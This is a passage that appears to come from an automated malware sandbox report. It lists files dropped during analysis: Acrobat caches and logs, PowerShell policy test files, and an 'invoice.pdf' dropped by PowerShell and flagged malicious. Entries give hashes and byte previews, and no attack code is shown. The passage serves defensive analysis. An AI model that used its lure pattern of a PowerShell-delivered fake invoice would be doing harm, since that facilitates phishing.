SHA-512:	5E70AE59C5F473E40DF647D331E877F608B2CC377EAFED8DFA8EC77B5A608BBA0871F9F59FE8C486BAF772DE05577EFFF83DE213733210EE867C8C40A70A7A9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132806580412441
Encrypted:	false
SSDEEP:	48:YneIA/hHD4XRKIoXPhtp5c+F8OojLLXHJIveaZGfufVw9Bm6:bF4BKtF5c++Keag6Oz
MD5:	B7D85BB0B9D6BDFEBA42C0853C18DA42
SHA1:	CFCD9C452D3671D36EAA1DFA1949682E31455A38
SHA-256:	9D173922D4087257D3B7DB1B2DC89CD0A4C8E411AE1DD14DC9B23376F13E0384
SHA-512:	D0050832B304129E276FB29C5643C28EF7854352CD5C51EA19E50B009AD6D492B70A79D310905502BC4FC01B4D76352EEBA8329516DEE4013A29EBBB3E1295BC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ff19fb3cdb039e82f26c071ce492f627","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736515512000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5720d44856409236d1d33e15aa0f33fb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736515512000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"70f3fadd0e0976c5f1597bab4eaf8a30","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736515512000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b28ae8b734e944a6608f389db7d52eb8","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736515512000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"760e14afd23e4ec31e731961b386db89","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736515512000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e0a73a72dee76236b1a3c6e51da0a4bf","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9845919182954096
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpNj4zJwtNBwtNbRZ6bRZ4AjF:TVl2GL7ms6ggOVpuzutYtp6Pd
MD5:	CF5BC98C4144F17A500BED239543D8F8
SHA1:	DE66C3B22FF130A6848FE464253AF86BBD13F169
SHA-256:	315B431A370CD891E7B5986627DBAEC007A693B3919FC643313648E3C3B21F67
SHA-512:	905C67FF2DA527AE84562D0FA074C388131CA44ECF8B4FD0C2AE56B9EC25C7261CB04318804D2C066E0356B5213747FDC6033A4C6A48C73E2F3F1DACB76E2BE6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3380258150924769
Encrypted:	false
SSDEEP:	24:7+tMAD1RZKHs/Ds/SpNjPzJwtNBwtNbRZ6bRZWf1RZKSqLBx/XYKQvGJF7ursS:7MMGgOVpVzutYtp6PMTqll2GL7msS
MD5:	CF5B3FBDEBABAAD091EC85EDD5FD1E24
SHA1:	CAD3A14A0E11523CE9BAECFDACF68E0DB02A5C81
SHA-256:	06693591DA86E9C2D8B9E43A30E8FC08B613B2C3E51166E5EAF952BAF49FAE1F
SHA-512:	78140D692E011EE885584E527B7D32745A371C5AD51C21C807730A442B6DB800F264F054A98A0BD1AE61F2C84A5F05802DCA68B11BA0EB9780C4348F65A140B5
Malicious:	false
Preview:	.... .c.......T.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgIYorPr09r1xU2RiidtiKNHDDYyu:6a6TZ44ADEIYEPr09r1P1nK
MD5:	D31E9BA74AA0F0DECF5D48D7C761FEAC
SHA1:	ED883F2882BA202F5CF723CB3FDC508CD49F036D
SHA-256:	E6FF6A1CCA95D369B23C113F04A5E96F0072FA28861E7266899C972B30AD604E
SHA-512:	90706127D034F044003CB72E751BABEFB0D4FD441625ABF9BCDD44753B26813F1868549ED755DCDA10BE119A458DEAF34512645368F18573B384EA3FD917EE9A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe46b4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClA8j:Qw946cPbiOxDlbYnuRK+bW
MD5:	2B9E2FAEE0AEAC57013682EFACAF27AD
SHA1:	F4447BDA33610C58A57A7B5C4D30D82DDBA4CE2F
SHA-256:	DE391D508DAE1037D2DB796860D9010E312A19B07DEFE7806E1A393A881A80B6
SHA-512:	CF9183FFA62D297CD0B3F4678CC8CCC9CD1ECF09876222AB44C9DB19C3DF92BAFD39C354A0B0E5A3618E5561DA87D672371AB76EE97142EF61623131AD6139A3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.2.5.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i535sc1g.qrc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mb1wshit.l1s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-25-09-066.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.366187714363082
Encrypted:	false
SSDEEP:	384:ppPMH5uZDm/xHZOLHH/foyuXbgAV1904hzY/rgcQoEl+e0Nh+kdA2k5LSfFfplYs:bDC4
MD5:	7013552F3FF4E4ADEAD97214A4B6B814
SHA1:	DC36A9C92BA56E751A11BACD6D7E620938BCD928
SHA-256:	A7AF6D45E13757E9EF7441471750D0ADECFD9D9822858C9C80DF15D7F98E6EB4
SHA-512:	4C4CB8253929839FE70CE4137E73BD3D72AF2E7538C1F36798BF4D37DE336C34232B748F8A264D987D14415460A256BB03A2F6EA91A7FE2FDA8A48ED1C8664D6
Malicious:	false
Preview:	SessionID=3a876894-c3ed-4430-b86d-f7b811a09b8a.1736515509093 Timestamp=2025-01-10T08:25:09:093-0500 ThreadID=7692 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3a876894-c3ed-4430-b86d-f7b811a09b8a.1736515509093 Timestamp=2025-01-10T08:25:09:094-0500 ThreadID=7692 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3a876894-c3ed-4430-b86d-f7b811a09b8a.1736515509093 Timestamp=2025-01-10T08:25:09:094-0500 ThreadID=7692 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3a876894-c3ed-4430-b86d-f7b811a09b8a.1736515509093 Timestamp=2025-01-10T08:25:09:094-0500 ThreadID=7692 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3a876894-c3ed-4430-b86d-f7b811a09b8a.1736515509093 Timestamp=2025-01-10T08:25:09:094-0500 ThreadID=7692 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397368571867839
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbM:Pg
MD5:	CEF629262D0DACDC0D7CDC9263FD78AE
SHA1:	C946BDD302386E6E17EF7AD5DB9FD281B6E71AEA
SHA-256:	E75A91A89D8400A2E40E294085DCD6F3DF1A5FA79369C11D06368293E20BCE92
SHA-512:	8F9611DFAD14AF7311DF8C8DE17B2734392456ED7BF5B7F01043FDB62A319FBAC85DF72847E4F6B7385BFB89FC71F66DBC7B4050E5531454BFA00637CA4E7BB8
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\010a9e63-c284-4e91-8a4d-923bb6ea9f80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\4bbcd423-d818-4ae7-9e2d-e6172c8581bd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\de0e0298-231f-4771-9828-fe6141e0f2ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f5efbf68-d399-4fe7-855e-e704a475da46.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18097), with CRLF line terminators
Entropy (8bit):	4.9024753030895285
TrID:
